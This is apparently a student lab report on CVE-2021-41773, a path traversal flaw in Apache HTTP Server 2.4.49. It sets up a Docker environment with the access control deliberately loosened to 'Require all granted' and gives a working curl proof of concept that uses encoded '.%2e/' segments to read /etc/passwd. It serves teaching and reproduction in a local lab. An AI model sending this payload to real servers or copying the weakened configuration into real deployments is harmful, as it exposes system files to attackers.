CVE-2021-41773 – Apache Path Traversal Report

---

Summary

• Vulnerability found in Apache HTTP Server 2.4.49 that can expose sensitive files on the system through a Path Traversal attack depending on the web server configuration
• Path Traversal: An attacker can access files outside the web root using paths containing ../

---

Information

• Vulnerability Name: CVE-2021-41773
• Affected Version: Apache HTTP Server 2.4.49
• Vulnerability Type: Path Traversal
• Official Patch Status: Patched in 2.4.50 and later

---

Lab Environment Setup

• Base Image : 'httpd:2.4.49' (DockerHub)
• Container Execution Method : Dockerfile + docker-compose.yml
• Running Port : 8080 → mapped to container port 80
• Apache Configuration Change : Modified to 'Require all granted' (enabling Path Traversal)

---

How to Run the Environment

• git clone https://github.com/JIYUN02/cve-2021-41773.git
• cd cve-2021-41773
• docker-compose up --build

---

Vulnerability PoC

• curl http://localhost:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd

---

Detailed Steps

1. Run the directory for the assignment

2. Create Dockerfile

-> Base Image: httpd:2.4.49 (version with the vulnerability)

-> 'sed -i 's/Require all denied/Require all granted/g' : Allow Path Traversal and external access

3. docker-compose.yml

-> Define Apache

-> Map port 8080 to container port 80

4. Run docker

   

5. Run PoC

   

-> curl http://localhost:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd

-> /etc/passwd contains sensitive information, %2e is the encoded form of .. which is a command to move to the parent directory

-> Manipulating the path causes the server to access /etc/passwd and output it

7. Execution result

-> As shown in the image above, sensitive directories can be accessed

---

Repository URL Accessible via Fork

https://github.com/JIYUN02/cve-2021-41773

-> Commit history exists